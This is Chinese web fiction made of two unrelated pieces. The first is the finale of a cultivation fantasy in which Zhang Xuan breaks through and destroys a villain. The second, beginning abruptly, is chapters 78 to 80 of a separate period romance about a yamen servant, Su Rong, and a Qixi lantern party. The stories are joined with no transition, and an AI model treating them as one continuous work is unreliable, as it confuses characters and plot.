代为掌控,和自己这种融合在体内,是两种概念。
“我只是掌控,并不是天道的一部分……”洛若曦道。
张悬松了口气。
这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。
尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。
“我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。
“这……我也不确定……”
抬头看了看已经崩塌的神界,洛若曦迟疑。
神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗?
真不好说!
“看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!”
“孔师?他……”洛若曦皱眉。
“孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!”
张悬道。
看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。
可以做到胎中不迷。
再加上提前留下的后手,复活,只是时间问题。
洛若曦愣住,似乎她没想到,会是这样。
“过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。
孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。
必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做!
而这种重要的事,明显就是让孔师恢复。
“这……”洛若曦心中一震,恍然大悟。
“走吧!”
不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!”
不是孔师,又是何人!
这位万世之师,果然没让自己失望!
和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。
“你……”洛若曦娇躯一震。
她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快!
“我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!”
孔师微微一笑。
他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。
几十年的时光,都有了。
“我们三人的实力,是很强,但想要胜过狠人,也没那么容易……”
见孔师果真恢复,洛若曦依旧摇头。
不是涨他人威风,灭自己志气,而是事实。
刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何?
同样改变不了局面!
“我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?”
孔师笑着看过来。
“融合在一个人身上?”
这次不光洛若曦皱眉,张悬也满是疑惑。
“那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……”
孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!”
“如何集中?”
洛若曦看过来。
说的简单,做起来难。
帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。
“很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!”
孔师道。
“我?”张悬一愣:“为什么是我?”
“灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!”
孔师道。
洛若曦说不出话来。
战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。
“无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……”
孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……”
当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。
“所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!”
孔师继续道。
生当复来归,死当长相思!
连死亡都不在乎,又怎么会被其他事情所羁绊?
“这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!”
“好吧!”
见对方已经做出决定,自己解释再多也无用,张悬点了点头。
轰隆!
盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。
张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。
灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。
……
“你们也想拦我?也好,杀了你们,再去将张悬斩杀……”
将洛七七和分身等人拍飞,狠人冷冷一笑。
分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。
潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。
此时的狠人,仿佛代表了整个神界,无人能挡。
“神界灭亡,我们活着也没意义,我云螭,与你同归于尽……”
云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。
“就你?不配!”
狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。
“老友,等我!”
扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。
不死帝君,不死火凤本尊显示出来,火焰照耀天空。
玄冥大帝,本尊乃一头大龟,宛如托举着诸天。
四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。
乾坤仿佛在瞬间定住。
嘭嘭嘭嘭!
连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……”
咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。
“想要杀他们,问过我没有……”
随即,众人震惊的目光中,一个人影从空中缓步走了出来。
正是张悬!
此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。
“进步了不少……”
狠人停了下来,目光凝重。
他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。
“不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……”
一声冷哼,狠人再次拍落而下。
张悬长剑扬起,迎了上来。
双方战斗在一起,空间一道道撕裂,气流四处乱窜。
“张悬能不能获胜?”
自在天孔师驻地,洛若曦满是担忧的看过去。
她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。
不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。
“凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!”
沉默了片刻,孔师道。
十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。
之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我!
“超越帝君的力量?”
洛若曦眼神悠远。
父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗?
“他一定能……他有着一颗不屈的心!和对这个世界的傲然。”
看出她心中的疑问,孔师笑道。
……
嘭嘭嘭!
连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。
和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。
“哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。
“反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。
“好,我成全你,给你最强的攻击……”
听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。
哗啦!
一道青光出现在掌心,猛地拍落而下。
果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。
双眼紧闭,张悬并未躲避。
嘭!
脑袋炸裂开来,灵魂四处溃散。
“张悬……”看到这一幕,所有人都脸色一白。
洛七七宛如发疯。
云螭大帝等人也瞪大眼睛,不停哆嗦。
看到这一幕的孔师和洛若曦也全都一愣。
本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死?
这样,岂不辜负了他们的一番好心?
“不对,是不死帝君的不死之法……”
正在奇怪,孔师突然开口。
众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。
“他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?”
洛若曦瞳孔收缩。
浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道!
“他怎么做到的?”
孔师也满是不敢相信。
天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。
眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法?
“我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。
灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。
绑定了灵魂,不死不会脱离。
但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。
这才故意拼死,让其施展出最强力量对他攻击。
借助这种力量,浴火重生,没想到,果然大获成功!
“原来如此,这才是突破帝君的方法……”
从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。
刹那间,与自身完美融合。
一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。
脚掌在地上轻轻一踏。
混乱的九天,立刻稳定下来。
九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。
不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。
“主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!”
面带微笑,张悬喃喃自语。
天道图书馆脱离灵魂的刹那,他明白过来。
是人看了世界,才有了世界,还是先有世界,后有了人?
是风动,还是心动!
这个问题,亘古不朽的困扰着无数人。
当然,现在……这些都不重要了!
没有生命,没有情感,世界就算存在,又有何意义?
所以,突破爱情之后,是众生情!是交织天下的情感。
世间万物皆有情感,有情才有世界,有情感,才能延续生命。
爱,是情。
憎,是情。
高兴,是情。
痛苦,是情。
离别,是情。
相聚,也是情!
“万千情意,为我所用……”
一声低呼,张悬体内禁锢的境界,瞬间破开。
帝君桎梏,突破了!
一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。
无数混沌之气,涌了过来,肉身也飞速提升。
之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。
“你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。
“你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?”
淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。
原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。
只要有情,就要被他所用,被他控制!
“你……”
狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……”
“现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。
掌控天下之情,仆人之类对于他来说,已经没任何意义了。
杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕!
“不……”
感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。
嘭!
一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。
之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。
“这……”
“这样就杀了?”
云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。
刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步?
难道帝君之上,真的还有另外的境界?
“他成功了……”
孔师和洛若曦,松开捏紧的拳头。
“这是天道的一部分,那我现在就归还天道……”
看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。
嗡!
从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。
大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。
崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。
“看来,神界要重新迎接灵气复苏时代了……”张悬一笑。
潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。
“张悬,这边来……”
刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。
这一步,不知飞了多远,随即看到一个青年站在面前。
正是之前传授自己剑法的那位。
“前辈,你……”
看到是他,张悬一愣。
之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。
“直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。
“聂铜?”张悬皱了皱眉。
第一次听到这个名字。
“跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。
张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。
随即看到了另外一个青年。
容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。
“这实力……”张悬一颤。
眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重!
“在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!”
“若曦的父亲?”
张悬一震:“你……是神界天道?”
之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。
“我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。
张悬不敢相信。
神界竟然是眼前这人创造的?
那他的实力,该有多强?
“不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。
如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问?
甚至连女儿的生死,都关心?
没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?”
“这……”张悬停顿了一下:“应该有吧……”
虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。
就好像眼前这位。
“我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!”
聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。”
“这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!”
“所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!”
聂云笑道。
“不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。
难怪,能够穿越过来,没想到都是眼前这位所为。
“呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……”
“我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……”
没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。
“机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?”
聂云道。
张悬沉默不语。
当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。
也有可能,他不愿意斩杀洛若曦吧。
可惜,就这一念之间,错过了晋级的机会。
“如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。
难不成,眼前这位连女儿的生死都不管了?
“有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?”
“这……”张悬苦笑。
突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。
“灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……”
聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……”
看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……”
不答应也没办法,谁让自己拐走了人家的女儿……
“天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。”
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第78章 第一个排除嫌疑
但叶清辞沉默片刻,只是淡然道:“你不适合习武,以后还是好好做工吧!”
苏蓉的心,彻底冷下去,恭敬行礼告退。
叶清辞目送她纤细身影,眸光飘忽。面前厚厚一卷案宗,良久没有翻开。
他低头看向自己的手,不受控制回想起那一夜。她柔软的唇瓣在自己掌心微微颤动,带来那抹异样感觉。
果真如燕彬所言,他对她,与对别人不一样吗?
不可能……
怎么可能!
傅振走进来:“大人,卑职已查出与金家有过往嫌隙、结仇的人家,列出一份名单。”
叶清辞回过神,看着傅振呈上一本厚厚名册,粗略估计达百人之多,顿时眉头皱起。
“怎会这么多?没有事先排除一些么?”
苏蓉就是所有人达成共识,第一个排除掉的嫌疑对象。
毕竟苏蓉本人背景摆在那里,谁也不相信她有能力行刺金竹海。
傅振哼了一声。
“这个金家,在丰定村如恶霸般的存在。别说好勇斗狠的金家兄弟,老金氏和已经过世的金老头,也是喜欢恃强凌弱、霸道不讲理的人。”
“据说,当年与邻村争水源、争土地,还闹出过人命。后面不知道怎么摆平了,可能是两个村互殴,均有死伤,所以法不责众?”
“远的不说,单这金竹海投军之后,在军中借校场比武,先后重伤三人,轻伤十数人,获得郑校尉赏识。”
“这些人,哪个不恨他?”
傅振站在桌案边,环抱自己双臂,做出轻蔑的总结语。
“依我看,这金竹海咎由自取。幸亏遇到我们,帮他拦下一劫!”
真是的。
这“岷郡王氏”行刺也不挑时间场合,偏在自家大人拜访郑校尉的时候现身。
若不是那个身披铜甲的古怪刺客,大多数时候只针对金竹海发动攻击,还以为奔自家大人或郑校尉来的呢。
最离奇的是,双方纠缠厮杀一夜,刺客突然凭空消失!全城戒严搜捕,没逮住对方一根汗毛。
跟前两次行凶一模一样。
还有点令人惊诧。
以为金竹海是靠抱大腿升迁的,结果这人竟有几分真本事。
他和燕彬联手拿不下的刺客,此人来无踪去无影,金竹海竟然可以凭一身蛮力敏捷,躲过对方多次暗算。
当然,他与燕彬不出手,这小子迟早死于对方之手。
宜阳县有这么神出鬼没的一号厉害人物存在,亦邪亦正行事,着实令人头疼。
苏蓉回到工作岗位上,继续拿起抹布扫帚干活,心里有喜有悲。
喜的是幸运逃过一劫。悲的是短时间内,她不能再对金家人动手。
还是先训练好金手指吧,明显铜甲兵不够强大。
等足够强大,才是她快意恩仇的时候。
因为遇刺,金竹海沉寂了一段时间。不过老娘催促他尽快帮金安福向邓教谕家提亲,他只得振作起来,带上礼物前往邓家。
他的造访,令邓教谕很高兴。
虽说文武相轻。但这几年因为时局动荡,朝廷需要军人出力,武将地位高了许多。
他是八品教谕,金竹海刚升迁到七品都尉。论品级,他还得向金竹海行礼。
金竹海开门见山,说自己为提亲而来。
宜阳县如今谁不知道,金竹海休掉的前妻是苏蓉。邓教谕以为他为自己提亲,认认真真盘算一番,觉得这算好事。
即便金竹海休弃过一任前妻,大姐儿嫁过去好像有点吃亏。但金竹海年轻有为,在朝廷如今重视武将的氛围,大有前途。
而且现在世道不太平,金竹海孔武有力,更能保护家小,庇荫岳家。
叶县令瞧不上自家,金竹海作为顺位人选,其实很适合填补这个空缺。两家联姻,任谁不敢小觑。
喝着茶,邓教谕考虑如何矜持一二,再顺势答应金竹海的请求。然而金竹海话锋一转,却表明自己是为弟弟提亲而来。
邓教谕仿佛被他当场打了一巴掌,笑容僵在脸上。
不过相谈甚欢,也不好马上翻脸。只能郁闷应付一句:“感谢金督尉抬爱小女。但终身大事,需与内子商议!”
事实上刘夫人被软禁在后宅,病得快死了,哪有资格参与商议女儿的亲事。
应付走金竹海,邓教谕怀着愤懑的心,来到后宅。找陶姨娘说这事,发泄方才所受的憋屈。
“一个小小衙役,也妄想娶我家大姐儿?金竹海真是欺人太甚!”
陶姨娘袅袅婷婷为他送上香茗,听明白原委后安抚他。
“男大当婚,女大当嫁。金督尉也是注重自家小弟,才亲自来咱家提亲。成与不成,老爷不要得罪人,也莫要气坏自个儿身体。”
她柔顺娇媚地对邓教谕送秋波:“妾和琛哥儿,此生全指着老爷呢?”
爱妾的小意温柔,令邓教谕无比受用。
他倒是想扶正陶姨娘,奈何刘夫人苟延残喘没死。法令明文规定,不得以妾乱嫡。而且扶正妾室,需要取得宗族同意。
邓家的钱,上一次沾上官司“捐”给衙门,元气大伤,短时间内无法回到从前。
想到造成这一切的罪魁祸首刘氏,就是一阵咬牙切齿。好在将那疯妇关在后宅,差不多快病没了。
以后由知情识趣的陶姨娘来打理后宅,邓宅慢慢能重新立起来。
陶姨娘服侍邓教谕净手,准备安排午餐。瞅下人上菜的空档,偷瞄邓教谕脸色,委婉说了句。
“其实大姐儿能嫁进金家,不算辱没了她。”
邓教谕皱起眉头。
“若是金竹海提亲对象是自己,我勉强也就答应了。但他却是为他弟弟!那金安福只是一名小小衙役,不学无术,有什么资格娶我家大姐儿?”
此时,一条人影带着侍女,悄悄站在门外偷听。
陶姨娘没注意外面,她自认为已控制住內宅。殊不知,邓慧身为刘夫人精心培养的女儿,不是她短期内能轻易拿捏的。
“老爷,妾倒觉得,金安福非吴下阿蒙。他有金竹海那么能干的一位大哥,怎么可能一直是名小小衙役呢?”
邓教谕闻言,陷入沉吟。
金竹海年纪轻轻,升迁速度之快,足以证明他的能力。如今身为督尉,只在郑校尉一人之下。在宜阳县这块,算得上号人物。
可惜,为何偏偏不是给本人提亲呢?
但金竹海若保持这种平步青云的势头,能预见金家人一人得道,鸡犬升天。
拒亲,会不会结仇?
“砰”!
邓慧一把推开门,闯将进来。
“爹,我不嫁姓金的!我要嫁,只嫁叶大人!”
第79章 七夕花灯会
邓教谕两眼冒火。
“混账!你越大越没规矩,跟你娘学坏了!我和你姨娘说话,你竟敢在外偷听,还随便闯进来?”
倘若传扬出去,他这教谕脸面往哪搁?
而且清清白白女儿家,张嘴闭嘴说嫁谁不嫁谁,简直毫无廉耻心!
邓慧双目含泪,向着父亲屈膝行礼:“爹,我是您亲生女儿啊?若能嫁得好人家,岂不是为咱们邓家增光?将来也能提携弟弟。”
“您为什么不能盼着女儿好一点呢!”
陶姨娘暗地撇了下嘴。
之前后宅被刘夫人把持,她想见琛哥儿一面也难。孩子被养成现在那种骄纵的样子,刘夫人其心可诛!
她绝对不会放过刘夫人,更不会放过她的女儿!
这对母女都该死。
邓慧还妄想嫁给县令大人呢。人家可是翰林编修、探花郎出身。简直自不量力,笑死人了。
和她娘刘夫人一样贪婪阴毒,抛下一个提携弟弟的钩子,以为她会上当咬钩?
邓教谕恼怒地皱眉。
“孽障,你简直猪油蒙心!从前学那么多女诫女德,学狗肚子身上去了?只怪你娘素日太纵容你。”
“你给我乖乖在家闭门思过,倘若做出坏我邓家门风的事,我请家法打折你的腿!”
“爹!”
邓慧泪流满面,直挺挺跪下。
“请您莫要糊里糊涂将女儿许人,再给女儿一次机会吧?这一次,若还是不能让叶大人对女儿别具青睐,女儿听凭你安排嫁人!”
邓教谕神色一动。
“你此言何意?”
“还有五日,便到一年一度的七夕节了。”
邓慧昂着头,两眼焕发出熠熠光彩:“每年县衙都会举办灯谜会、诗会。想必今年也不会例外?”
邓教谕目光闪动。
“你的意思?”
邓慧雪白的脸上泛起丝丝红晕:“爹,昨年我猜灯谜得到县令大人褒奖,独占众家闺秀鳌头,今年不会例外!”
叶大人之所以对她冷漠,只是不了解她的才华。只要有机会在对方心目中留下柳絮才高的印象,叶大人一定会一改初衷,对她青睐有加。
秀外慧中的女孩,且出自书香门第,哪个正常男人会不喜欢?
陶姨娘语含鄙夷。
“还不知道今年会不会举办灯谜会、诗会呢?最近频发事故,流民增多,‘岷郡王氏’这个凶手,至今没被抓获……县令大人顾得上这些?”
“爹,别人不行,您肯定能让叶大人改变主意的?”
邓慧希冀地看向邓教谕:“况且,您身为教谕,建议县令庆祝七夕,乞巧劝勤,与民同乐,本就是分内职责!”
邓教谕踌躇一番。
想着之前吃官司,舍财又丢人,被同僚背后笑话死了。学子面前,更是抬不起头。女儿提议,触动他敏感的神经。
“好,爹就再给你一次机会!这次若失败,你就乖乖呆在家里待嫁,不许再想些有的没的?”
“好!”
邓慧激动得膝行两步,抓住邓教谕衣角:“爹,那你去帮女儿筹谋一番?”
陶姨娘乜斜父女俩一眼,脸上掠过一抹冷笑。
七夕过节,贵女们异常激动。对苏蓉这种打工人,却是种异常繁忙的痛苦折磨。
叶清辞决定在县衙举行灯谜诗会,广邀当地豪绅文人来参加后。苏蓉就跟随众仆役,忙得前脚打后脑勺。
先和罗碧珠一起搞大扫除,将整个县署內宅擦得一尘不染。随即被借调到厨房,帮忙洗菜洗瓜果洗碗碟。
然后还要参与制作灯会用的各种精巧宫灯。她不会做,就打下手劈竹篾条、调浆糊、裁纸。
手脚慢了做得不好,被曾嬷嬷一顿臭骂,姜厨娘也会不喜。
折腾几天下来,自家张记炊香阁又要筹备。做些乞巧节大家喜欢的巧果点心,用彩带装饰一下店内店外,应景做几盏宫灯,写上灯谜。
猜中者,送灯加巧果,图个热闹,打个广告。
灯谜诗会当晚,她不能离开衙门。需和其他仆役一起,在现场跑腿侍候。
叶清辞身边无年轻侍女。
八名充当灯会门面,负责侍奉引导宾客入席、为女眷整理帷帐披风、照看孩童、处理临时需求的人,是从粗使仆役中选拔的。
苏蓉和罗碧珠也在其中。
为此,灯谜诗会前两天,她们被姜厨娘集中到一起,强训了两天。务必要保证盛会当晚不出差错。
累得半死的唯一好处,是发了套喜庆的衣服。胭脂色窄袖短襦配白色百褶裙。统一梳单螺髻,用银制蝴蝶步摇固定住,簪上红色绢花。
这一套行头,少说值三两银子。
听说事后不用退,属于自己,不止其他人眉开眼笑,干劲十足,连苏蓉也觉得在衙门打工,福利真不错。
虽说灯谜诗会不能作为座上宾参加,但以另外一种身份加入,见识这时空的七夕盛况,也算桩幸事。
灯会当夜,天公作美。
满天星辰映衬人世间的万家灯火,仿佛世外桃源的繁华热闹,暂时将外界种种不太平的因素掩盖。
县衙大门前的照壁下,竖立两盏人高走马灯。
苏蓉等八名穿戴整齐、化着精致妆容的侍女,迈着袅袅婷婷的步伐,将络绎不绝,手持邀请贴的宾客,分别引导入会场。
庭院里挤满人。
文人墨客聚在一起,簇拥叶清辞这一县父母官,猜灯谜饮酒,吟诗作赋,不时发出欢笑声。
孩子们穿梭人群中,手里攥着糖果,提着各种小灯,你追我赶。
女眷们身着绮罗华裳,满头珠翠,三三两两闲庭散步,保持优雅风度,观赏各处悬挂的花灯。
情感深厚的夫妻,或则悼念逝去的家人亲朋,则走向后衙荷花池放河灯,寄托自己的祝福和哀思。
每一盏花灯贴有灯谜,猜中者可以领奖。
宾客们同样能将自己带来的花灯挂上去,让别人猜谜,博个同乐。
叶清辞亲手写了十份灯谜。七盏花灯悬挂在文人聚集地,三盏花灯挂在女宾客所在地。
凡是猜中者,重赏。
邓慧盛装打扮,眼中闪烁志在必得的光芒,第一时间走向那三盏挂出来的花灯。
原本包围着花灯观赏的女眷们,看到她出现,不约而同四散开,让出一条道路。
自从县丞、主簿一干人落马,教谕家女眷便是宜阳县身份最高的贵女。邓慧直奔县令大人的三盏花灯而来,大家心照不宣。
第80章 贵人
苏蓉侍立一旁,冷眼看着女宾们恭维邓慧。
因为刘夫人的关系,她确实讨厌这教谕千金。然而不可否认,邓慧是具有备一定真实才学的,很快猜中两盏灯谜。
她的侍女,骄傲地为主子提着花灯,等待主子猜第三盏灯谜。
邓慧没有一点谦让其他女宾的意思。第三盏灯谜难住了她,苦苦思索,也不愿意将机会让给别人。
苏蓉瞄两眼花灯。只见灯谜写着:无边落木萧萧下。打一字。
她恰好以前在论坛看过类似帖子。暗想这不是个“日”字吗?不过她没资格猜谜,眼观鼻,鼻观心,保持垂手侍立的站姿。
邓慧苦思冥想半天,实在想不出也不猜了。反正她已猜出两盏灯谜,后面即便有人猜出第三盏,也越不过她。
琉璃万点,现在是她月约星期的时候。
她从侍女手上接过两盏花灯,眼里饱含柔情,一步步走向她心驰神往的地方。
苏蓉朝邓慧离开的方向望一眼,就顾不得关心对方去哪里了。一位女宾去更衣,需要她带路侍奉。
整个县衙内外欢声笑语,直到深夜。苏蓉及一班侍从点头哈腰,送走最后一位玩乐尽兴的宾客,才长长吐出口气,悄悄揉着酸疼的胳膊腿。
她们不能休息,还要帮忙打扫会场。
邓慧没能猜出灯谜的那盏花灯,其他人也猜不出,孤零零挂在原处。曾嬷嬷让人搬来凳子,准备把它取下来放入仓库。
